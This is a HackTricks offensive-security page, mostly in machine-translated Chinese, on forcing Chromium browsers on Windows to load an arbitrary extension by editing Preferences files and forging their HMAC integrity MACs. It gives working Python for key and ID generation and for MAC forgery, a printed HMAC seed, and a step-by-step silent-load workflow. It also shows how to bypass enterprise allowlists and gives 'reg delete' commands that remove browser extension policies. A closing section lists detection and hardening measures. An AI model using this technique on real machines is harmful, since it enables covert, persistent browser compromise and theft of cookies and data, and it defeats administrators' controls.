Forced Extension Load & Preferences MAC Forgery (Windows)
Reading time: 11 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Overview
这是一种隐蔽的 post-exploitation 技术,通过编辑用户的 Preferences/Secure Preferences 并为修改的节点伪造有效的 HMAC(HMAC-SHA256),从而在 Windows 上的 Chromium-based 浏览器中强制加载任意扩展。适用于 Chrome/Chromium、Edge 和 Brave。发布时观察到适用于 Chromium 130 至 139。只要对受害者配置文件具有简单的 disk write primitive,就足以在不使用 command-line flags 或用户提示的情况下持久化具有全部权限的扩展。
关键思想:Chromium 将每个用户的扩展状态存储在 JSON preferences 文件中,并使用 HMAC-SHA256 进行保护。如果你使用浏览器嵌入的 seed 计算出有效的 MAC 并将其写入到你注入节点旁边,浏览器会接受并激活你的扩展条目。
Where extension state lives (Windows)
- Non–domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac").
- Domain‑joined Chrome profile:
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Key nodes used by Chromium:
- extensions.settings.<extension_id> → 扩展条目的嵌入 manifest/元数据
- protection.macs.extensions.settings.<extension_id> → 该 JSON blob 的 HMAC
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
Simplified schema (illustrative):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
注:
- Edge/Brave 保持类似的结构。保护 seed 值可能会不同(在某些构建中观察到 Edge/Brave 使用 null/其他 seed)。
扩展 IDs:路径 vs key 以及使其确定性
Chromium 按照以下方式派生扩展 ID:
- 已打包/已签名的扩展:ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
- 未打包(manifest 中没有 key):ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p
要在不同主机之间保持稳定的 ID,请在 manifest.json 的 "key" 下嵌入固定的 base64 DER 公钥。ID 将从该 key 派生,而不是从安装路径派生。
用于生成确定性 ID 和密钥对的辅助脚本:
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
将生成的 public key 添加到你的 manifest.json 以锁定 ID:
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Forging Preferences integrity MACs (core bypass)
Chromium 使用 HMAC‑SHA256 对每个节点的 "path" + 序列化的 JSON 值 进行保护。HMAC 种子嵌入在浏览器的 resources.pak 中,并在 Chromium 139 之前仍然有效。
使用 GRIT pak_util 提取该种子并定位种子容器(在测试的构建中为 file id 146):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
按如下方式计算 MACs(大写十六进制):
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
最小 Python 示例:
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
在以下位置写入值:
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.
Implementation tips
- 使用 Chromium 在计算 MACs 时采用的完全相同的 JSON 序列化(实践中紧凑的无空白 JSON 是安全的;对键排序可帮助避免顺序问题)。
- 确保 extensions.ui.developer_mode 在 Chromium ≥134 上存在并已签名,否则你的 unpacked 条目不会激活。
端到端静默加载流程(Windows)
- 生成确定性 ID 并在 manifest.json 中嵌入 "key";准备一个带有所需权限(service worker/content scripts)的 unpacked MV3 扩展
- 通过嵌入 manifest 以及 Chromium 所需的最小安装元数据(state、path for unpacked 等),创建 extensions.settings.
- 从 resources.pak(文件 146)中提取 HMAC seed,并计算两个 MAC:一个用于 settings 节点,另一个用于 extensions.ui.developer_mode(Chromium ≥134)
- 将伪造的节点和 MAC 写入目标配置文件的 Preferences/Secure Preferences;下次启动时将自动激活你的扩展,并获得完整声明的权限
绕过企业控制
- Whitelisted extension hash spoofing (ID spoofing)
- 安装一个被允许的 Web Store 扩展并记录其 ID
- 获取其公钥(例如通过 background/service worker 中的 chrome.runtime.getManifest().key,或抓取/解析它的 .crx)
- 在你修改的扩展中将该 key 设置为 manifest.key,以复现相同的 ID
- 在 Preferences 中注册该条目并对 MAC 进行签名 → 仅基于 ID 进行匹配的 ExtensionInstallAllowlist 检查被绕过
-
Extension stomping (ID collision precedence)
-
如果本地的 unpacked 扩展与已安装的 Web Store 扩展共享相同 ID,Chromium 会优先使用 unpacked 的那个。这可以在 chrome://extensions 中有效替换合法扩展,同时保留受信任的 ID。已在 Chrome 和 Edge(例如 Adobe PDF)上验证
-
Neutralizing GPO via HKCU (requires admin)
-
Chrome/Edge 的策略位于 HKCU\Software\Policies* 下
-
拥有管理员权限时,在写入你的条目之前删除/修改策略键以避免被阻止:
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
嘈杂的回退:命令行加载
从 Chromium ≥137 起,使用 --load-extension 时还需要传入:
--disable-features=DisableLoadExtensionCommandLineSwitch
该方法被广泛知晓并受到监控(例如被 EDR/DFIR 监测;被像 Chromeloader 这样的商品化恶意软件使用)。Preference MAC forging 更为隐蔽。
Related flags and more cross‑platform tricks are discussed here:
运行影响
一旦被接受,扩展将以其声明的权限运行,允许 DOM 访问、请求拦截/重定向、cookie/存储 访问和屏幕截图捕获——实际上实现了在浏览器内的代码执行以及持久的用户配置文件持久化。由于通过 Preferences 的激活是数据驱动的,通过 SMB 或其他通道进行远程部署也很容易。
检测与加固
- 监控非 Chromium 进程是否向 Preferences/Secure Preferences 写入,尤其是 extensions.settings 下新增节点并伴随 protection.macs 条目
- 对 extensions.ui.developer_mode 的异常切换以及 HMAC 合法但未经批准的扩展条目发出警报
- 审核 HKCU/HKLM Software\Policies 是否被篡改;通过设备管理/Chrome Browser Cloud Management 强制执行策略
- 优先通过商店对已验证发布者执行 forced‑install,而不是仅基于扩展 ID 匹配的 allowlists
References
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。